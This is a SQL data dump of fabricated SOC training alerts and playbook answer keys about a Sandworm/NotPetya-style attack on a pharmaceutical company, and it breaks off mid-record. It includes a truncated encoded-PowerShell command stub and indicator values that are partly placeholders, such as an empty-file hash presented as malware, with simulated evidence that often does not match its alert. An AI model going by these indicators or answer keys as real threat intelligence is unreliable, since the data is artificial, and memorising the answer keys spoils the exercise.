(979, 'Initial Breach Detected in Corporate Network', 'high', 'Network Traffic Analysis', 'The initial breach was identified as a supply chain compromise through a software update from a third-party vendor. This technique is characteristic of Sandworm, known for leveraging compromised software updates to gain initial access. Analysis of network traffic revealed malicious activity originating from a known malicious IP address associated with Sandworm activities.', 'Supply Chain Compromise', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:21:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"destination_port\":443,\"protocol\":\"TLS\",\"detected_threat\":\"Suspicious Software Update\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"update_package_v1.2.exe\",\"user_agent\":\"ThirdPartyUpdater/1.2\",\"malware_family\":\"Sandworm\",\"vendor\":\"CompromisedVendor\"}', '2026-01-17 03:41:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Sandworm activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Sandworm malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update_package_v1.2.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used in a suspicious software update.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(980, 'Execution of NotPetya Payload', 'critical', 'Endpoint Detection and Response (EDR)', 'Shortly after the initial breach, NotPetya was executed on multiple endpoints, initiating its destructive payload and encrypting critical files.', 'Destructive Malware Deployment', 'T1486: Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-11T14:25:43Z\",\"event_id\":\"EVT-20231011-00002\",\"host_ip\":\"192.168.1.34\",\"malware_name\":\"NotPetya\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\perfc.dat\",\"file_hash\":\"71b6a493388e7d0b40c83ce903bc6b04\",\"attacker_ip\":\"185.92.220.39\",\"username\":\"jdoe\",\"action\":\"File Execution\",\"severity\":\"Critical\",\"message\":\"NotPetya payload executed, initiating encryption of system files.\"}', '2026-01-17 03:41:52', '2026-02-16 17:51:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal host affected by NotPetya execution.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"71b6a493388e7d0b40c83ce903bc6b04\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known NotPetya file hash.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.92.220.39\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with previous NotPetya campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\perfc.dat\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Analysis\",\"verdict\":\"malicious\",\"details\":\"File used by NotPetya for destructive purposes.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User associated with compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(981, 'Establishing Persistence in Network - Backdoor Installation Detected', 'high', 'Log Analysis', 'Sandworm group has installed backdoors on compromised systems to maintain persistent access. This operation is aimed at re-establishing access points that allow for re-entry, complicating recovery and mitigation efforts.', 'Backdoor Installation', 'T1543: Create or Modify System Process', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"185.23.124.8\",\"destination_ip\":\"10.0.0.55\",\"username\":\"admin_user\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\svchost.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Backdoor installation\",\"description\":\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\"}', '2026-01-17 03:41:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.23.124.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actor activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for backdoor installation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used by Sandworm.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"svchost.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in masquerading attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Administrative account used in unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.671Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.23.124.8\\\",\\\"destination_ip\\\":\\\"10.0.0.55\\\",\\\"username\\\":\\\"admin_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\svchost.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.671Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.23.124.8\\\",\\\"destination_ip\\\":\\\"10.0.0.55\\\",\\\"username\\\":\\\"admin_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\svchost.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.671Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.23.124.8\\\",\\\"destination_ip\\\":\\\"10.0.0.55\\\",\\\"username\\\":\\\"admin_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\svchost.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.671Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.23.124.8\\\",\\\"destination_ip\\\":\\\"10.0.0.55\\\",\\\"username\\\":\\\"admin_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\svchost.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.671Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.23.124.8\\\",\\\"destination_ip\\\":\\\"10.0.0.55\\\",\\\"username\\\":\\\"admin_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\svchost.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Malicious file svchost.exe with hash d41d8cd98f00b204e9800998ecf8427e detected on system 10.0.0.55 from source IP 185.23.124.8.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(982, 'Lateral Movement Across Vaccine Production Systems', 'high', 'Active Directory Monitoring', 'Using stolen credentials, attackers moved laterally to infiltrate systems involved in vaccine production, severely disrupting operations.', 'Credential Theft and Use', 'T1078', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"event_type\":\"Logon\",\"logon_type\":\"Network\",\"source_ip\":\"185.23.56.7\",\"destination_ip\":\"10.0.5.23\",\"username\":\"j.doe\",\"logon_process\":\"NtLmSsp\",\"authentication_package\":\"NTLM\",\"logon_guid\":\"{1d9b6895-1234-5678-9876-abcdef012345}\",\"hash\":\"3a6eb5e9a76c38b4f9644f2bbf1f2d3c\",\"filename\":\"OlympicDestroyer.exe\",\"additional_info\":{\"source_hostname\":\"Vaccine-Prod-DC\",\"destination_hostname\":\"Vaccine-Prod-Sys01\",\"privileges\":\"SeChangeNotifyPrivilege\",\"malware_tool\":\"Olympic Destroyer\"}}', '2026-01-17 03:41:52', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.23.56.7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Sandworm APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of vaccine production system\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Account credentials used in unauthorized access\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a6eb5e9a76c38b4f9644f2bbf1f2d3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches Olympic Destroyer malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"OlympicDestroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File associated with destructive malware activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(983, 'Data Exfiltration of Sensitive Information', 'critical', 'Data Loss Prevention (DLP)', 'The attackers exfiltrated sensitive data, including proprietary research and operational plans, exacerbating the impact of the attack. The activity is attributed to the Sandworm group known for its destructive attacks and targeting of ICS/SCADA systems.', 'Data Theft', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-14T13:45:32Z\",\"event_id\":\"DLP-EXFIL-23456\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"filename\":\"Operational_Research_Data.pdf\",\"protocol\":\"HTTPS\",\"action\":\"Allowed\",\"data_volume\":\"2GB\",\"alert_trigger\":\"Sensitive Data Exfiltration\",\"malware_associated\":\"NotPetya\",\"attacker_ip\":\"203.0.113.45\"}', '2026-01-17 03:41:52', '2026-02-16 17:51:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in the data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Operational_Research_Data.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP\",\"verdict\":\"sensitive\",\"details\":\"File containing sensitive operational and research data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in the exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.673Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T13:45:32Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-23456\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"Operational_Research_Data.pdf\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Allowed\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_associated\\\":\\\"NotPetya\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.673Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T13:45:32Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-23456\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"Operational_Research_Data.pdf\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Allowed\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_associated\\\":\\\"NotPetya\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.673Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T13:45:32Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-23456\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"Operational_Research_Data.pdf\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Allowed\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_associated\\\":\\\"NotPetya\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.673Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T13:45:32Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-23456\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"Operational_Research_Data.pdf\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Allowed\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_associated\\\":\\\"NotPetya\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.673Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T13:45:32Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-23456\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"Operational_Research_Data.pdf\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Allowed\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_associated\\\":\\\"NotPetya\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(984, 'Destructive Actions on Critical Infrastructure', 'critical', 'SCADA System Monitoring', 'A critical alert has been triggered due to the detection of destructive actions targeting ICS/SCADA systems within the pharmaceutical sector. Indicators suggest the involvement of the Sandworm group, known for its expertise in causing physical infrastructure disruptions.', 'ICS/SCADA Targeting', 'T0831', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-21T14:56:43Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.10.15\",\"username\":\"scada_admin\",\"detected_malware\":\"NotPetya\",\"malware_hash\":\"71b6a493388e7d0b3c1f0a3b10a9a9cd\",\"affected_system\":\"ICS_Controller_01\",\"action_taken\":\"Wiper malware executed\",\"file_path\":\"/var/log/scada/ICS_Controller_01.log\",\"event_description\":\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical operations.\"}', '2026-01-17 03:41:52', '2026-02-16 17:51:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with Sandworm group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"ICS/SCADA system targeted by malware.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"scada_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit Logs\",\"verdict\":\"clean\",\"details\":\"Authorized user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"71b6a493388e7d0b3c1f0a3b10a9a9cd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.674Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:56:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.15\\\",\\\"username\\\":\\\"scada_admin\\\",\\\"detected_malware\\\":\\\"NotPetya\\\",\\\"malware_hash\\\":\\\"71b6a493388e7d0b3c1f0a3b10a9a9cd\\\",\\\"affected_system\\\":\\\"ICS_Controller_01\\\",\\\"action_taken\\\":\\\"Wiper malware executed\\\",\\\"file_path\\\":\\\"/var/log/scada/ICS_Controller_01.log\\\",\\\"event_description\\\":\\\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical operations.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.674Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:56:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.15\\\",\\\"username\\\":\\\"scada_admin\\\",\\\"detected_malware\\\":\\\"NotPetya\\\",\\\"malware_hash\\\":\\\"71b6a493388e7d0b3c1f0a3b10a9a9cd\\\",\\\"affected_system\\\":\\\"ICS_Controller_01\\\",\\\"action_taken\\\":\\\"Wiper malware executed\\\",\\\"file_path\\\":\\\"/var/log/scada/ICS_Controller_01.log\\\",\\\"event_description\\\":\\\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical operations.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.674Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:56:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.15\\\",\\\"username\\\":\\\"scada_admin\\\",\\\"detected_malware\\\":\\\"NotPetya\\\",\\\"malware_hash\\\":\\\"71b6a493388e7d0b3c1f0a3b10a9a9cd\\\",\\\"affected_system\\\":\\\"ICS_Controller_01\\\",\\\"action_taken\\\":\\\"Wiper malware executed\\\",\\\"file_path\\\":\\\"/var/log/scada/ICS_Controller_01.log\\\",\\\"event_description\\\":\\\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical 